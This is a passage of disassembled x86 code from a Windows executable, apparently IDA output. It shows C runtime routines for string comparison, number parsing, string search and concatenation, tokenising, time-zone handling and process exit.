		mov	dl, [edi+1]
		cmp	cl, dl
		jnz	short loc_40CA2A
		add	edi, 2
		add	esi, 2
		sub	eax, 2
		jnz	short loc_40C9DD


loc_40C9FA:				; CODE XREF: sub_40C9B0+2Bj
					; sub_40C9B0+84j
		pop	edi
		pop	esi

locret_40C9FC:				; CODE XREF: sub_40C9B0+6j
		retn
; ---------------------------------------------------------------------------


loc_40C9FD:				; CODE XREF: sub_40C9B0+19j
		mov	ecx, eax
		and	eax, 3
		shr	ecx, 2
		jz	short loc_40CA32
		repe cmpsd
		jz	short loc_40CA32
		mov	ecx, [esi-4]
		mov	edx, [edi-4]
		cmp	cl, dl
		jnz	short loc_40CA25
		cmp	ch, dh
		jnz	short loc_40CA25
		shr	ecx, 10h
		shr	edx, 10h
		cmp	cl, dl
		jnz	short loc_40CA25
		cmp	ch, dh


loc_40CA25:				; CODE XREF: sub_40C9B0+63j
					; sub_40C9B0+67j ...
		mov	eax, 0


loc_40CA2A:				; CODE XREF: sub_40C9B0+26j
					; sub_40C9B0+33j ...
		sbb	eax, eax
		pop	edi
		sbb	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_40CA32:				; CODE XREF: sub_40C9B0+55j
					; sub_40C9B0+59j
		test	eax, eax
		jz	short loc_40C9FA
		mov	edx, [esi]
		mov	ecx, [edi]
		cmp	dl, cl
		jnz	short loc_40CA25
		dec	eax
		jz	short loc_40CA59
		cmp	dh, ch
		jnz	short loc_40CA25
		dec	eax
		jz	short loc_40CA59
		and	ecx, 0FF0000h
		and	edx, 0FF0000h
		cmp	edx, ecx
		jnz	short loc_40CA25
		dec	eax


loc_40CA59:				; CODE XREF: sub_40C9B0+8Fj
					; sub_40C9B0+96j
		pop	edi
		pop	esi
		retn
sub_40C9B0	endp


; =============== S U B	R O U T	I N E =======================================



sub_40CA5C	proc near		; CODE XREF: sub_40EA6B+11Bp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	0
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_40CA73
		add	esp, 10h
		retn
sub_40CA5C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CA73	proc near		; CODE XREF: sub_40CA5C+Ep
					; sub_40CC7B+Ep

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		and	[ebp+var_8], 0
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		mov	bl, [edi]
		lea	esi, [edi+1]
		mov	[ebp+var_4], esi


loc_40CA8B:				; CODE XREF: sub_40CA73+46j
		cmp	dword_41FF84, 1
		jle	short loc_40CAA3
		movzx	eax, bl
		push	8
		push	eax
		call	sub_4114D9
		pop	ecx
		pop	ecx
		jmp	short loc_40CAB2
; ---------------------------------------------------------------------------


loc_40CAA3:				; CODE XREF: sub_40CA73+1Fj
		mov	ecx, off_41FD78
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 8


loc_40CAB2:				; CODE XREF: sub_40CA73+2Ej
		test	eax, eax
		jz	short loc_40CABB
		mov	bl, [esi]
		inc	esi
		jmp	short loc_40CA8B
; ---------------------------------------------------------------------------


loc_40CABB:				; CODE XREF: sub_40CA73+41j
		cmp	bl, 2Dh
		mov	[ebp+var_4], esi
		jnz	short loc_40CAC9
		or	[ebp+arg_C], 2
		jmp	short loc_40CACE
; ---------------------------------------------------------------------------


loc_40CAC9:				; CODE XREF: sub_40CA73+4Ej
		cmp	bl, 2Bh
		jnz	short loc_40CAD4


loc_40CACE:				; CODE XREF: sub_40CA73+54j
		mov	bl, [esi]
		inc	esi
		mov	[ebp+var_4], esi


loc_40CAD4:				; CODE XREF: sub_40CA73+59j
		mov	eax, [ebp+arg_8]
		test	eax, eax
		jl	loc_40CC6B
		cmp	eax, 1
		jz	loc_40CC6B
		cmp	eax, 24h
		jg	loc_40CC6B
		push	10h
		test	eax, eax
		pop	ecx
		jnz	short loc_40CB1C
		cmp	bl, 30h
		jz	short loc_40CB06
		mov	[ebp+arg_8], 0Ah
		jmp	short loc_40CB38
; ---------------------------------------------------------------------------


loc_40CB06:				; CODE XREF: sub_40CA73+88j
		mov	al, [esi]
		cmp	al, 78h
		jz	short loc_40CB19
		cmp	al, 58h
		jz	short loc_40CB19
		mov	[ebp+arg_8], 8
		jmp	short loc_40CB38
; ---------------------------------------------------------------------------


loc_40CB19:				; CODE XREF: sub_40CA73+97j
					; sub_40CA73+9Bj
		mov	[ebp+arg_8], ecx


loc_40CB1C:				; CODE XREF: sub_40CA73+83j
		cmp	[ebp+arg_8], ecx
		jnz	short loc_40CB38
		cmp	bl, 30h
		jnz	short loc_40CB38
		mov	al, [esi]
		cmp	al, 78h
		jz	short loc_40CB30
		cmp	al, 58h
		jnz	short loc_40CB38


loc_40CB30:				; CODE XREF: sub_40CA73+B7j
		mov	bl, [esi+1]
		inc	esi
		inc	esi
		mov	[ebp+var_4], esi


loc_40CB38:				; CODE XREF: sub_40CA73+91j
					; sub_40CA73+A4j ...
		or	eax, 0FFFFFFFFh
		xor	edx, edx
		div	[ebp+arg_8]
		mov	edi, 103h
		mov	[ebp+var_C], eax


loc_40CB48:				; CODE XREF: sub_40CA73+16Cj
		cmp	dword_41FF84, 1
		movzx	esi, bl
		jle	short loc_40CB60
		push	4
		push	esi
		call	sub_4114D9
		pop	ecx
		pop	ecx
		jmp	short loc_40CB6B
; ---------------------------------------------------------------------------


loc_40CB60:				; CODE XREF: sub_40CA73+DFj
		mov	eax, off_41FD78
		mov	al, [eax+esi*2]
		and	eax, 4


loc_40CB6B:				; CODE XREF: sub_40CA73+EBj
		test	eax, eax
		jz	short loc_40CB77
		movsx	ecx, bl
		sub	ecx, 30h
		jmp	short loc_40CBA9
; ---------------------------------------------------------------------------


loc_40CB77:				; CODE XREF: sub_40CA73+FAj
		cmp	dword_41FF84, 1
		jle	short loc_40CB8B
		push	edi
		push	esi
		call	sub_4114D9
		pop	ecx
		pop	ecx
		jmp	short loc_40CB96
; ---------------------------------------------------------------------------


loc_40CB8B:				; CODE XREF: sub_40CA73+10Bj
		mov	eax, off_41FD78
		mov	ax, [eax+esi*2]
		and	eax, edi


loc_40CB96:				; CODE XREF: sub_40CA73+116j
		test	eax, eax
		jz	short loc_40CBE4
		movsx	eax, bl
		push	eax
		call	sub_411C8D
		pop	ecx
		mov	ecx, eax
		sub	ecx, 37h


loc_40CBA9:				; CODE XREF: sub_40CA73+102j
		cmp	ecx, [ebp+arg_8]
		jnb	short loc_40CBE4
		mov	esi, [ebp+var_8]
		or	[ebp+arg_C], 8
		cmp	esi, [ebp+var_C]
		jb	short loc_40CBCE
		jnz	short loc_40CBC8
		or	eax, 0FFFFFFFFh
		xor	edx, edx
		div	[ebp+arg_8]
		cmp	ecx, edx
		jbe	short loc_40CBCE


loc_40CBC8:				; CODE XREF: sub_40CA73+147j
		or	[ebp+arg_C], 4
		jmp	short loc_40CBD7
; ---------------------------------------------------------------------------


loc_40CBCE:				; CODE XREF: sub_40CA73+145j
					; sub_40CA73+153j
		imul	esi, [ebp+arg_8]
		add	esi, ecx
		mov	[ebp+var_8], esi


loc_40CBD7:				; CODE XREF: sub_40CA73+159j
		mov	eax, [ebp+var_4]
		inc	[ebp+var_4]
		mov	bl, [eax]
		jmp	loc_40CB48
; ---------------------------------------------------------------------------


loc_40CBE4:				; CODE XREF: sub_40CA73+125j
					; sub_40CA73+139j
		mov	ecx, [ebp+arg_C]
		dec	[ebp+var_4]
		mov	edx, [ebp+arg_4]
		test	cl, 8
		jnz	short loc_40CC02
		test	edx, edx
		jz	short loc_40CBFC
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], eax


loc_40CBFC:				; CODE XREF: sub_40CA73+181j
		and	[ebp+var_8], 0
		jmp	short loc_40CC4F
; ---------------------------------------------------------------------------


loc_40CC02:				; CODE XREF: sub_40CA73+17Dj
		test	cl, 4
		mov	eax, 7FFFFFFFh
		jnz	short loc_40CC28
		test	cl, 1
		jnz	short loc_40CC4F
		and	ecx, 2
		jz	short loc_40CC1F
		cmp	[ebp+var_8], 80000000h
		ja	short loc_40CC28


loc_40CC1F:				; CODE XREF: sub_40CA73+1A1j
		test	ecx, ecx
		jnz	short loc_40CC4F
		cmp	[ebp+var_8], eax
		jbe	short loc_40CC4F


loc_40CC28:				; CODE XREF: sub_40CA73+197j
					; sub_40CA73+1AAj
		test	byte ptr [ebp+arg_C], 1
		mov	dword_47F914, 22h
		jz	short loc_40CC3E
		or	[ebp+var_8], 0FFFFFFFFh
		jmp	short loc_40CC4F
; ---------------------------------------------------------------------------


loc_40CC3E:				; CODE XREF: sub_40CA73+1C3j
		mov	ecx, [ebp+arg_C]
		and	cl, 2
		neg	cl
		sbb	ecx, ecx
		neg	ecx
		add	ecx, eax
		mov	[ebp+var_8], ecx


loc_40CC4F:				; CODE XREF: sub_40CA73+18Dj
					; sub_40CA73+19Cj ...
		test	edx, edx
		jz	short loc_40CC58
		mov	eax, [ebp+var_4]
		mov	[edx], eax


loc_40CC58:				; CODE XREF: sub_40CA73+1DEj
		test	byte ptr [ebp+arg_C], 2
		jz	short loc_40CC66
		mov	eax, [ebp+var_8]
		neg	eax
		mov	[ebp+var_8], eax


loc_40CC66:				; CODE XREF: sub_40CA73+1E9j
		mov	eax, [ebp+var_8]
		jmp	short loc_40CC76
; ---------------------------------------------------------------------------


loc_40CC6B:				; CODE XREF: sub_40CA73+66j
					; sub_40CA73+6Fj ...
		mov	eax, [ebp+arg_4]
		test	eax, eax
		jz	short loc_40CC74
		mov	[eax], edi


loc_40CC74:				; CODE XREF: sub_40CA73+1FDj
		xor	eax, eax


loc_40CC76:				; CODE XREF: sub_40CA73+1F6j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40CA73	endp


; =============== S U B	R O U T	I N E =======================================



sub_40CC7B	proc near		; CODE XREF: sub_403E11+4A6p
					; sub_406BAB+1D54p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	1
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_40CA73
		add	esp, 10h
		retn
sub_40CC7B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CC92	proc near		; CODE XREF: sub_403E11+4Ep

var_CC		= byte ptr -0CCh
var_32		= word ptr -32h
var_24		= dword	ptr -24h
var_20		= word ptr -20h
var_1E		= word ptr -1Eh
var_1A		= word ptr -1Ah
var_18		= word ptr -18h
var_16		= word ptr -16h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_A		= word ptr -0Ah
var_8		= word ptr -8
var_6		= word ptr -6
var_4		= word ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0CCh
		lea	eax, [ebp+var_10]
		push	eax
		call	dword_417068	; GetLocalTime
		lea	eax, [ebp+var_20]
		push	eax
		call	dword_417118	; GetSystemTime
		mov	ax, [ebp+var_16]
		cmp	ax, word_47F90A
		jnz	short loc_40CCF7
		mov	ax, [ebp+var_18]
		cmp	ax, word_47F908
		jnz	short loc_40CCF7
		mov	ax, [ebp+var_1A]
		cmp	ax, word_47F906
		jnz	short loc_40CCF7
		mov	ax, [ebp+var_1E]
		cmp	ax, word_47F902
		jnz	short loc_40CCF7
		mov	ax, [ebp+var_20]
		cmp	ax, word_47F900
		jnz	short loc_40CCF7
		mov	eax, dword_47F8F8
		jmp	short loc_40CD3C
; ---------------------------------------------------------------------------


loc_40CCF7:				; CODE XREF: sub_40CC92+28j
					; sub_40CC92+35j ...
		lea	eax, [ebp+var_CC]
		push	eax
		call	dword_417114	; GetTimeZoneInformation
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40CD24
		cmp	eax, 2
		jnz	short loc_40CD20
		cmp	[ebp+var_32], 0
		jz	short loc_40CD20
		cmp	[ebp+var_24], 0
		jz	short loc_40CD20
		push	1
		pop	eax
		jmp	short loc_40CD27
; ---------------------------------------------------------------------------


loc_40CD20:				; CODE XREF: sub_40CC92+7Aj
					; sub_40CC92+81j ...
		xor	eax, eax
		jmp	short loc_40CD27
; ---------------------------------------------------------------------------


loc_40CD24:				; CODE XREF: sub_40CC92+75j
		or	eax, 0FFFFFFFFh


loc_40CD27:				; CODE XREF: sub_40CC92+8Cj
					; sub_40CC92+90j
		push	esi
		push	edi
		lea	esi, [ebp+var_20]
		mov	edi, offset word_47F900
		movsd
		movsd
		movsd
		movsd
		pop	edi
		mov	dword_47F8F8, eax
		pop	esi


loc_40CD3C:				; CODE XREF: sub_40CC92+63j
		push	eax
		movzx	eax, [ebp+var_4]
		push	eax
		movzx	eax, [ebp+var_6]
		push	eax
		movzx	eax, [ebp+var_8]
		push	eax
		movzx	eax, [ebp+var_A]
		push	eax
		movzx	eax, [ebp+var_E]
		push	eax
		movzx	eax, [ebp+var_10]
		push	eax
		call	sub_411D59
		mov	ecx, [ebp+arg_0]
		add	esp, 1Ch
		test	ecx, ecx
		jz	short locret_40CD6C
		mov	[ecx], eax

locret_40CD6C:				; CODE XREF: sub_40CC92+D6j
		leave
		retn
sub_40CC92	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_40CD70	proc near		; CODE XREF: sub_405185+75p
					; sub_406BAB+407p ...

arg_0		= dword	ptr  4

		push	edi
		mov	edi, [esp+4+arg_0]
		jmp	short loc_40CDE1
sub_40CD70	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_40CD80	proc near		; CODE XREF: sub_405185+6Ep
					; sub_406BAB+410p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_0]
		push	edi
		test	ecx, 3
		jz	short loc_40CD9C


loc_40CD8D:				; CODE XREF: sub_40CD80+1Aj
		mov	al, [ecx]
		inc	ecx
		test	al, al
		jz	short loc_40CDCF
		test	ecx, 3
		jnz	short loc_40CD8D


loc_40CD9C:				; CODE XREF: sub_40CD80+Bj
					; sub_40CD80+32j ...
		mov	eax, [ecx]
		mov	edx, 7EFEFEFFh
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_40CD9C
		mov	eax, [ecx-4]
		test	al, al
		jz	short loc_40CDDE
		test	ah, ah
		jz	short loc_40CDD9
		test	eax, 0FF0000h
		jz	short loc_40CDD4
		test	eax, 0FF000000h
		jz	short loc_40CDCF
		jmp	short loc_40CD9C
; ---------------------------------------------------------------------------


loc_40CDCF:				; CODE XREF: sub_40CD80+12j
					; sub_40CD80+4Bj
		lea	edi, [ecx-1]
		jmp	short loc_40CDE1
; ---------------------------------------------------------------------------


loc_40CDD4:				; CODE XREF: sub_40CD80+44j
		lea	edi, [ecx-2]
		jmp	short loc_40CDE1
; ---------------------------------------------------------------------------


loc_40CDD9:				; CODE XREF: sub_40CD80+3Dj
		lea	edi, [ecx-3]
		jmp	short loc_40CDE1
; ---------------------------------------------------------------------------


loc_40CDDE:				; CODE XREF: sub_40CD80+39j
		lea	edi, [ecx-4]


loc_40CDE1:				; CODE XREF: sub_40CD70+5j
					; sub_40CD80+52j ...
		mov	ecx, [esp+4+arg_4]
		test	ecx, 3
		jz	short loc_40CE06


loc_40CDED:				; CODE XREF: sub_40CD80+7Dj
		mov	dl, [ecx]
		inc	ecx
		test	dl, dl
		jz	short loc_40CE58
		mov	[edi], dl
		inc	edi
		test	ecx, 3
		jnz	short loc_40CDED
		jmp	short loc_40CE06
; ---------------------------------------------------------------------------


loc_40CE01:				; CODE XREF: sub_40CD80+9Ej
					; sub_40CD80+B8j
		mov	[edi], edx
		add	edi, 4


loc_40CE06:				; CODE XREF: sub_40CD80+6Bj
					; sub_40CD80+7Fj
		mov	edx, 7EFEFEFFh
		mov	eax, [ecx]
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		mov	edx, [ecx]
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_40CE01
		test	dl, dl
		jz	short loc_40CE58
		test	dh, dh
		jz	short loc_40CE4F
		test	edx, 0FF0000h
		jz	short loc_40CE42
		test	edx, 0FF000000h
		jz	short loc_40CE3A
		jmp	short loc_40CE01
; ---------------------------------------------------------------------------


loc_40CE3A:				; CODE XREF: sub_40CD80+B6j
		mov	[edi], edx
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_40CE42:				; CODE XREF: sub_40CD80+AEj
		mov	[edi], dx
		mov	eax, [esp+4+arg_0]
		mov	byte ptr [edi+2], 0
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_40CE4F:				; CODE XREF: sub_40CD80+A6j
		mov	[edi], dx
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_40CE58:				; CODE XREF: sub_40CD80+72j
					; sub_40CD80+A2j
		mov	[edi], dl
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
sub_40CD80	endp


; =============== S U B	R O U T	I N E =======================================



sub_40CE60	proc near		; CODE XREF: sub_405185+31p
					; sub_406422+12Fp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_4]
		push	edi
		push	ebx
		push	esi
		mov	dl, [ecx]
		mov	edi, [esp+0Ch+arg_0]
		test	dl, dl
		jz	short loc_40CEDA
		mov	dh, [ecx+1]
		test	dh, dh
		jz	short loc_40CEC7


loc_40CE78:				; CODE XREF: sub_40CE60+52j
					; sub_40CE60+65j
		mov	esi, edi
		mov	ecx, [esp+0Ch+arg_4]
		mov	al, [edi]
		inc	esi
		cmp	al, dl
		jz	short loc_40CE9A
		test	al, al
		jz	short loc_40CE94


loc_40CE89:				; CODE XREF: sub_40CE60+32j
		mov	al, [esi]
		inc	esi


loc_40CE8C:				; CODE XREF: sub_40CE60+3Fj
		cmp	al, dl
		jz	short loc_40CE9A
		test	al, al
		jnz	short loc_40CE89


loc_40CE94:				; CODE XREF: sub_40CE60+27j
		pop	esi
		pop	ebx
		pop	edi
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_40CE9A:				; CODE XREF: sub_40CE60+23j
					; sub_40CE60+2Ej
		mov	al, [esi]
		inc	esi
		cmp	al, dh
		jnz	short loc_40CE8C
		lea	edi, [esi-1]


loc_40CEA4:				; CODE XREF: sub_40CE60+63j
		mov	ah, [ecx+2]
		test	ah, ah
		jz	short loc_40CED3
		mov	al, [esi]
		add	esi, 2
		cmp	al, ah
		jnz	short loc_40CE78
		mov	al, [ecx+3]
		test	al, al
		jz	short loc_40CED3
		mov	ah, [esi-1]
		add	ecx, 2
		cmp	al, ah
		jz	short loc_40CEA4
		jmp	short loc_40CE78
; ---------------------------------------------------------------------------


loc_40CEC7:				; CODE XREF: sub_40CE60+16j
		xor	eax, eax
		pop	esi
		pop	ebx
		pop	edi
		mov	al, dl
		jmp	loc_40CFC6
; ---------------------------------------------------------------------------


loc_40CED3:				; CODE XREF: sub_40CE60+49j
					; sub_40CE60+59j
		lea	eax, [edi-1]
		pop	esi
		pop	ebx
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_40CEDA:				; CODE XREF: sub_40CE60+Fj
		mov	eax, edi
		pop	esi
		pop	ebx
		pop	edi
		retn
sub_40CE60	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CEE0	proc near		; CODE XREF: sub_41073E+9p

var_4		= byte ptr -4
var_3		= byte ptr -3
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	dword_47F9A4, 0
		push	ebx
		push	esi
		push	edi
		jnz	short loc_40CF0D
		mov	eax, [ebp+arg_0]
		cmp	eax, 41h
		jl	loc_40CFA6
		cmp	eax, 5Ah
		jg	loc_40CFA6
		add	eax, 20h
		jmp	loc_40CFA6
; ---------------------------------------------------------------------------


loc_40CF0D:				; CODE XREF: sub_40CEE0+Ej
		mov	ebx, [ebp+arg_0]
		mov	edi, 100h
		push	1
		cmp	ebx, edi
		pop	esi
		jge	short loc_40CF41
		cmp	dword_41FF84, esi
		jle	short loc_40CF2F
		push	esi
		push	ebx
		call	sub_4114D9
		pop	ecx
		pop	ecx
		jmp	short loc_40CF39
; ---------------------------------------------------------------------------


loc_40CF2F:				; CODE XREF: sub_40CEE0+42j
		mov	eax, off_41FD78
		mov	al, [eax+ebx*2]
		and	eax, esi


loc_40CF39:				; CODE XREF: sub_40CEE0+4Dj
		test	eax, eax
		jnz	short loc_40CF41


loc_40CF3D:				; CODE XREF: sub_40CEE0+ADj
		mov	eax, ebx
		jmp	short loc_40CFA6
; ---------------------------------------------------------------------------


loc_40CF41:				; CODE XREF: sub_40CEE0+3Aj
					; sub_40CEE0+5Bj
		mov	edx, off_41FD78
		mov	eax, ebx
		sar	eax, 8
		movzx	ecx, al
		test	byte ptr [edx+ecx*2+1],	80h
		jz	short loc_40CF65
		and	byte ptr [ebp+arg_0+2],	0
		push	2
		mov	byte ptr [ebp+arg_0], al
		mov	byte ptr [ebp+arg_0+1],	bl
		pop	eax
		jmp	short loc_40CF6E
; ---------------------------------------------------------------------------


loc_40CF65:				; CODE XREF: sub_40CEE0+74j
		and	byte ptr [ebp+arg_0+1],	0
		mov	byte ptr [ebp+arg_0], bl
		mov	eax, esi


loc_40CF6E:				; CODE XREF: sub_40CEE0+83j
		push	esi
		push	0
		lea	ecx, [ebp+var_4]
		push	3
		push	ecx
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		push	edi
		push	dword_47F9A4
		call	sub_411E1B
		add	esp, 20h
		test	eax, eax
		jz	short loc_40CF3D
		cmp	eax, esi
		jnz	short loc_40CF99
		movzx	eax, [ebp+var_4]
		jmp	short loc_40CFA6
; ---------------------------------------------------------------------------


loc_40CF99:				; CODE XREF: sub_40CEE0+B1j
		movzx	eax, [ebp+var_3]
		movzx	ecx, [ebp+var_4]
		shl	eax, 8
		or	eax, ecx


loc_40CFA6:				; CODE XREF: sub_40CEE0+16j
					; sub_40CEE0+1Fj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40CEE0	endp

; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_40CFC0


loc_40CFB0:				; CODE XREF: sub_40CFC0+1Dj
		lea	eax, [edx-1]
		pop	ebx
		retn
; END OF FUNCTION CHUNK	FOR sub_40CFC0
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_40CFC0	proc near		; CODE XREF: sub_406BAB+3ECp
					; sub_406BAB+489p ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

; FUNCTION CHUNK AT 0040CFB0 SIZE 00000005 BYTES

		xor	eax, eax
		mov	al, [esp+arg_4]


loc_40CFC6:				; CODE XREF: sub_40CE60+6Ej
		push	ebx
		mov	ebx, eax
		shl	eax, 8
		mov	edx, [esp+4+arg_0]
		test	edx, 3
		jz	short loc_40CFEB


loc_40CFD8:				; CODE XREF: sub_40CFC0+29j
		mov	cl, [edx]
		inc	edx
		cmp	cl, bl
		jz	short loc_40CFB0
		test	cl, cl
		jz	short loc_40D034
		test	edx, 3
		jnz	short loc_40CFD8


loc_40CFEB:				; CODE XREF: sub_40CFC0+16j
		or	ebx, eax
		push	edi
		mov	eax, ebx
		shl	ebx, 10h
		push	esi
		or	ebx, eax


loc_40CFF6:				; CODE XREF: sub_40CFC0+61j
					; sub_40CFC0+70j ...
		mov	ecx, [edx]
		mov	edi, 7EFEFEFFh
		mov	eax, ecx
		mov	esi, edi
		xor	ecx, ebx
		add	esi, eax
		add	edi, ecx
		xor	ecx, 0FFFFFFFFh
		xor	eax, 0FFFFFFFFh
		xor	ecx, edi
		xor	eax, esi
		add	edx, 4
		and	ecx, 81010100h
		jnz	short loc_40D038
		and	eax, 81010100h
		jz	short loc_40CFF6
		and	eax, 1010100h
		jnz	short loc_40D032
		and	esi, 80000000h
		jnz	short loc_40CFF6


loc_40D032:				; CODE XREF: sub_40CFC0+68j
					; sub_40CFC0+81j ...
		pop	esi
		pop	edi


loc_40D034:				; CODE XREF: sub_40CFC0+21j
		pop	ebx
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_40D038:				; CODE XREF: sub_40CFC0+5Aj
		mov	eax, [edx-4]
		cmp	al, bl
		jz	short loc_40D075
		test	al, al
		jz	short loc_40D032
		cmp	ah, bl
		jz	short loc_40D06E
		test	ah, ah
		jz	short loc_40D032
		shr	eax, 10h
		cmp	al, bl
		jz	short loc_40D067
		test	al, al
		jz	short loc_40D032
		cmp	ah, bl
		jz	short loc_40D060
		test	ah, ah
		jz	short loc_40D032
		jmp	short loc_40CFF6
; ---------------------------------------------------------------------------


loc_40D060:				; CODE XREF: sub_40CFC0+98j
		pop	esi
		pop	edi
		lea	eax, [edx-1]
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_40D067:				; CODE XREF: sub_40CFC0+90j
		lea	eax, [edx-2]
		pop	esi
		pop	edi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_40D06E:				; CODE XREF: sub_40CFC0+85j
		lea	eax, [edx-3]
		pop	esi
		pop	edi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_40D075:				; CODE XREF: sub_40CFC0+7Dj
		lea	eax, [edx-4]
		pop	esi
		pop	edi
		pop	ebx
		retn
sub_40CFC0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D07C	proc near		; CODE XREF: sub_406BAB+AEp
					; sub_406BAB+C1p ...

var_20		= byte ptr -20h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		push	edi
		push	8
		xor	eax, eax
		pop	ecx
		lea	edi, [ebp+var_20]
		rep stosd
		push	7
		pop	edi


loc_40D095:				; CODE XREF: sub_40D07C+32j
		mov	dl, [esi]
		mov	bl, 1
		movzx	ecx, dl
		mov	eax, ecx
		and	ecx, edi
		shr	eax, 3
		shl	bl, cl
		lea	eax, [ebp+eax+var_20]
		or	[eax], bl
		inc	esi
		test	dl, dl
		jnz	short loc_40D095
		mov	edx, [ebp+arg_0]
		test	edx, edx
		jnz	short loc_40D0BD
		mov	edx, dword_47F910


loc_40D0BD:				; CODE XREF: sub_40D07C+39j
					; sub_40D07C+5Fj
		mov	al, [edx]
		push	1
		movzx	esi, al
		mov	ecx, esi
		pop	ebx
		and	ecx, edi
		shl	ebx, cl
		shr	esi, 3
		mov	cl, [ebp+esi+var_20]
		test	bl, cl
		jz	short loc_40D0DD
		test	al, al
		jz	short loc_40D0DD
		inc	edx
		jmp	short loc_40D0BD
; ---------------------------------------------------------------------------


loc_40D0DD:				; CODE XREF: sub_40D07C+58j
					; sub_40D07C+5Cj
		mov	ebx, edx


loc_40D0DF:				; CODE XREF: sub_40D07C+81j
		mov	al, [edx]
		test	al, al
		jz	short loc_40D103
		movzx	esi, al
		mov	ecx, esi
		push	1
		and	ecx, edi
		pop	eax
		shl	eax, cl
		shr	esi, 3
		mov	cl, [ebp+esi+var_20]
		test	al, cl
		jnz	short loc_40D0FF
		inc	edx
		jmp	short loc_40D0DF
; ---------------------------------------------------------------------------


loc_40D0FF:				; CODE XREF: sub_40D07C+7Ej
		and	byte ptr [edx],	0
		inc	edx


loc_40D103:				; CODE XREF: sub_40D07C+67j
		mov	eax, ebx
		pop	edi
		sub	eax, edx
		pop	esi
		neg	eax
		sbb	eax, eax
		mov	dword_47F910, edx
		and	eax, ebx
		pop	ebx
		leave
		retn
sub_40D07C	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D118	proc near		; CODE XREF: sub_40D514+93p
		mov	eax, off_41DBCC
		test	eax, eax
		jz	short loc_40D123
		call	eax ; sub_40B8A9


loc_40D123:				; CODE XREF: sub_40D118+7j
		push	offset dword_419024
		push	offset dword_419010
		call	sub_40D200
		push	offset dword_41900C
		push	offset dword_419000
		call	sub_40D200
		add	esp, 10h
		retn
sub_40D118	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D145	proc near		; CODE XREF: sub_40D514+D2p

arg_0		= dword	ptr  4

		push	0
		push	0
		push	[esp+8+arg_0]
		call	sub_40D167
		add	esp, 0Ch
		retn
sub_40D145	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D156	proc near		; CODE XREF: .nsp0:0040D605p
					; sub_40D60A+1Cp ...

arg_0		= dword	ptr  4

		push	0
		push	1
		push	[esp+8+arg_0]
		call	sub_40D167
		add	esp, 0Ch
		retn
sub_40D156	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D167	proc near		; CODE XREF: sub_40D145+8p
					; sub_40D156+8p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	edi
		push	1
		pop	edi
		cmp	dword_47F95C, edi
		jnz	short loc_40D184
		push	[esp+4+arg_0]
		call	dword_4170CC	; GetCurrentProcess
		push	eax
		call	dword_4170D0	; TerminateProcess


loc_40D184:				; CODE XREF: sub_40D167+Aj
		cmp	[esp+4+arg_4], 0
		push	ebx
		mov	ebx, [esp+8+arg_8]
		mov	dword_47F958, edi
		mov	byte_47F954, bl
		jnz	short loc_40D1D8
		mov	eax, dword_480F9C
		test	eax, eax
		jz	short loc_40D1C7
		mov	ecx, dword_480F98
		push	esi
